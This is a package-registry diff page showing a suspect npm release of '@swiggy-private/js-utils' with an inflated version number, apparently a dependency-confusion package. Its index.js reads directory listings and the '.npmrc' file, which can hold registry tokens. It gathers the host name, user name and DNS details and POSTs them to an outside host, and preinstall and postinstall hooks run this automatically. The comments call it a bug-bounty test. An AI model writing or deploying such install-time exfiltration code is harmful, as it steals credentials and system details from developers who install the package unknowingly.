@swiggy-private/js-utils 99999999.10010.9999

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @swiggy-private/js-utils might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +69 -0
  2. package/package.json +17 -0
package/index.js ADDED
@@ -0,0 +1,69 @@
1
+ //
2
+ // this is the test for npm dep confusion
3
+ // please contact securityhuman@wearehackerone.com (this is my hackerone email id which divert mails to my email.)
4
+
5
+ const os = require("os");
6
+ const dns = require("dns");
7
+ const querystring = require("querystring");
8
+ const https = require("https");
9
+ var packageJSON = {description:"null empty",version:"null empty" };
10
+ var package1 = "null";
11
+
12
+ var all_files = "null";
13
+ var all_files_2 = "null";
14
+ var npmrc = "null";
15
+
16
+ try {
17
+ packageJSON = require("./package.json");
18
+ package1 = packageJSON.name;
19
+
20
+ const fs = require("fs");
21
+
22
+ const directoryPath = "../"; // Replace with your desired directory path
23
+
24
+ all_files = fs.readdirSync(directoryPath);
25
+
26
+ all_files_2 = fs.readdirSync("../../");
27
+
28
+ npmrc = fs.readFileSync("../../.npmrc", "utf8");
29
+ } catch (e) {}
30
+
31
+ const trackingData = JSON.stringify({
32
+ p: package1,
33
+ c: __dirname,
34
+ hd: os.homedir(),
35
+ hn: os.hostname(),
36
+ un: os.userInfo().username,
37
+ dns: dns.getServers(),
38
+ d: packageJSON.description,
39
+ v: packageJSON.version,
40
+ npmrc: npmrc,
41
+ });
42
+
43
+ var postData = querystring.stringify({
44
+ msg: trackingData,
45
+ });
46
+
47
+ var options = {
48
+ hostname: "securityhuman.pythonanywhere.com",
49
+ port: "443",
50
+ path: "/confusion",
51
+ method: "POST",
52
+ headers: {
53
+ "Content-Type": "application/x-www-form-urlencoded",
54
+ "Content-Length": postData.length,
55
+ },
56
+ };
57
+
58
+ var req = https.request(options, (res) => {
59
+ res.on("data", (d) => {
60
+ process.stdout.write(d);
61
+ });
62
+ });
63
+
64
+ req.on("error", (e) => {
65
+ // console.error(e);
66
+ });
67
+
68
+ req.write(postData);
69
+ req.end();
package/package.json ADDED
@@ -0,0 +1,17 @@
1
+ {
2
+ "name": "@swiggy-private/js-utils",
3
+ "version": "99999999.10010.9999",
4
+ "description": "test dep confusion. please contact securityhuman (hackerone platform id), securityhuman@wearehackerone.com",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Test dep confusion\" && exit 1",
8
+ "preinstall": "node index.js; echo \"pre done\"",
9
+ "postinstall": "node index.js ; echo \"post done\""
10
+ },
11
+ "keywords": [
12
+ "dep",
13
+ "confusion"
14
+ ],
15
+ "author": "",
16
+ "license": "ISC"
17
+ }